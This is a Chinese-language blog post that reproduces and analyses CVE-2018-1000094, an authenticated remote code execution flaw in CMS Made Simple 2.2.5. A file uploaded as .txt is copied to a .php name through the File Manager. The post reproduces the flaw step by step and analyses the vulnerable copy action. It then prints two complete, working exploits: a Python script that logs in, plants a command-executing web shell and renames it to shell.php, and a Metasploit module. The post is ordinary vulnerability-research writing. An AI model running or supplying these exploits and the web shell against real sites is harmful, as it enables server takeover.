CVE-2018-1000094-CMSMS 2.2.5代码执行漏洞(每周一洞)
0x01 前言
CMS Made Simple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。
昨天看漏洞库的时候看到这一款CMS,漏洞操作也挺简单的,但是可以申请CVE,于是乎就复现了一篇过程和写漏洞脚本。
0x02 环境
- 下载下来是一个安装文件
cmsms-2.2.5-install.php,浏览器直接打开
- 默认Next,到数据库连接这一块要先创建一个数据库,我这里创建一个名为simple的数据库,然后填上数据库连接信息

- 填写管理账号密码信息

- 填写可写可读的目录和选择语言

- 安装完成,除了邮件模块,不过也用不上。

0x03 漏洞复现过程
-
登录后台

-
选择File Manager

-
编写一个文件名为a.txt内容为
<?php phpinfo();?>的文件,然后点击上传。
-
选中a.txt,点击copy,名字改为rce.php,然后确定


-
文件就copy过来了,有点类似系统的copy命令。

-
访问
rce.php
0x04 漏洞分析过程
- 还记得上一篇的phpok的分析,如果找不出关键文件,可以抓包分析。

可以看到主要是通过文件admin/moduleinterface.php文件进行操作的。
可能这样看会让人很乱,我们可以用phpstorm的debug来调试整个过程
相关配置可以看https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/ - 从上面的抓包可以看出来,
mact参数是FileManager,m1_是fileaction,大家可以去这里下断点然后一步一步分析整个流程。
- 有经验可以看出来,
FileManager就是modules\FileManager目录,fileaction就是modules/FileManager/action.fileaction.php文件,再往下看代码的68行,可以看到我们的copy操作的代码。
if (isset($params["fileactioncopy"]) || $fileaction=="copy") { include_once(__DIR__."/action.copy.php"); return;}- 我们找到这个文件
action.copy.php,我们在93行下一个断点,然后去操作copy,可以看到有各种很详细的参数信息。

- 我们F7单步走,可以看到执行
$res = copy($src,$dest);的时候没有发生错误。
- 这样就正式完成了所有操作,如有不懂可以看下官方文档的
copy函数的用法http://www.php.net/manual/en/function.copy.php
0x05 漏洞脚本
python版本
# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution# Date: 3rd of July, 2018# Exploit Author: Mustafa Hasan (@strukt93)# Vendor Homepage: http://www.cmsmadesimple.org/# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/# Version: 2.2.5# CVE: CVE-2018-1000094
import requestsimport base64
base_url = "http://127.0.0.1/cmsms/admin"upload_dir = "/uploads"upload_url = base_url.split('/admin')[0] + upload_dirusername = "admin"password = "123456"
csrf_param = "__c"txt_filename = 'cmsmsrce.txt'php_filename = 'shell.php'payload = "<?php system($_GET['cmd']);?>"
def parse_csrf_token(location): return location.split(csrf_param + "=")[1]
def authenticate(): page = "/login.php" url = base_url + page data = { "username": username, "password": password, "loginsubmit": "Submit" } response = requests.post(url, data=data, allow_redirects=False) status_code = response.status_code if status_code == 302: print "[+] Authenticated successfully with the supplied credentials" return response.cookies, parse_csrf_token(response.headers['Location']) print "[-] Authentication failed" return None, None
def upload_txt(cookies, csrf_token): mact = "FileManager,m1_,upload,0" page = "/moduleinterface.php" url = base_url + page data = { "mact": mact, csrf_param: csrf_token, "disable_buffer": 1 } txt = { 'm1_files[]': (txt_filename, payload) } print "[*] Attempting to upload {}...".format(txt_filename) response = requests.post(url, data=data, files=txt, cookies=cookies) status_code = response.status_code if status_code == 200: print "[+] Successfully uploaded {}".format(txt_filename) return True print "[-] An error occurred while uploading {}".format(txt_filename) return None
def copy_to_php(cookies, csrf_token): mact = "FileManager,m1_,fileaction,0" page = "/moduleinterface.php" url = base_url + page b64 = base64.b64encode(txt_filename) serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64) data = { "mact": mact, csrf_param: csrf_token, "m1_fileactioncopy": "", "m1_path": upload_dir, "m1_selall": serialized, "m1_destdir": "/", "m1_destname": php_filename, "m1_submit": "Copy" } print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename) response = requests.post(url, data=data, cookies=cookies, allow_redirects=False) status_code = response.status_code if status_code == 302: if response.headers['Location'].endswith('copysuccess'): print "[+] File copied successfully" return True print "[-] An error occurred while copying, maybe {} already exists".format(php_filename) return None
def quit(): print "[-] Exploit failed" exit()
def run(): cookies,csrf_token = authenticate() if not cookies: quit() if not upload_txt(cookies, csrf_token): quit() if not copy_to_php(cookies, csrf_token): quit() print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)
run()MSF版本
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {}) super(update_info(info, 'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy', 'Description' => %q{ CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file and rename it to have a .php extension. The file can then be executed by opening the URL of the file in the /uploads/ directory. }, 'Author' => [ 'Mustafa Hasen', # Vulnerability discovery and EDB PoC 'Jacob Robles' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-1000094' ], [ 'CWE', '434' ], [ 'EDB', '44976' ], [ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ] ], 'Privileged' => false, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Universal', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 03 2018'))
register_options( [ OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']), OptString.new('USERNAME', [ true, "Username to authenticate with", '']), OptString.new('PASSWORD', [ true, "Password to authenticate with", '']) ])
register_advanced_options ([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end
def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' })
unless res vprint_error 'Connection failed' return CheckCode::Unknown end
unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/ return CheckCode::Unknown end
version = Gem::Version.new($1) vprint_status("#{peer} - CMS Made Simple Version: #{version}")
if version == Gem::Version.new('2.2.5') return CheckCode::Appears end
if version < Gem::Version.new('2.2.5') return CheckCode::Detected end
CheckCode::Safe end
def exploit unless [CheckCode::Detected, CheckCode::Appears].include?(check) unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'method' => 'POST', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'loginsubmit' => 'Submit' } }) unless res fail_with(Failure::NotFound, 'A response was not received from the remote host') end
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/ fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end
vprint_good("#{peer} - Authentication successful") csrf_name = $1 csrf_val = $2
csrf = {csrf_name => csrf_val} cookies = res.get_cookies filename = rand_text_alpha(8..12)
# Generate form data message = Rex::MIME::Message.new message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"") message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"') message.add_part('1', nil, nil, 'form-data; name="disable_buffer"') message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"") data = message.to_s
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'cookie' => cookies })
unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to upload the text file') end vprint_good("#{peer} - File uploaded #{filename}.txt")
fileb64 = Rex::Text.encode_base64("#{filename}.txt") data = { 'mact' => 'FileManager,m1_,fileaction,0', "m1_fileactioncopy" => "", 'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}", 'm1_destdir' => '/', 'm1_destname' => "#{filename}.php", 'm1_path' => '/uploads', 'm1_submit' => 'Copy', csrf_name => csrf_val }
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'), 'method' => 'POST', 'cookie' => cookies, 'vars_post' => data })
unless res fail_with(Failure::NotFound, 'A response was not received from the remote host') end
unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess') fail_with(Failure::UnexpectedReply, 'Failed to rename the file') end vprint_good("#{peer} - File renamed #{filename}.php")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"), 'method' => 'GET', 'cookie' => cookies }) endend0x06 参考
程序下载:http://s3.amazonaws.com/cmsms/downloads/14076/cmsms-2.2.5-install.zip https://www.exploit-db.com/exploits/44976/ http://dev.cmsmadesimple.org/bug/view/11741 https://packetstormsecurity.com/files/148622/CMS-Made-Simple-2.2.5-Authenticated-Remote-Command-Execution.html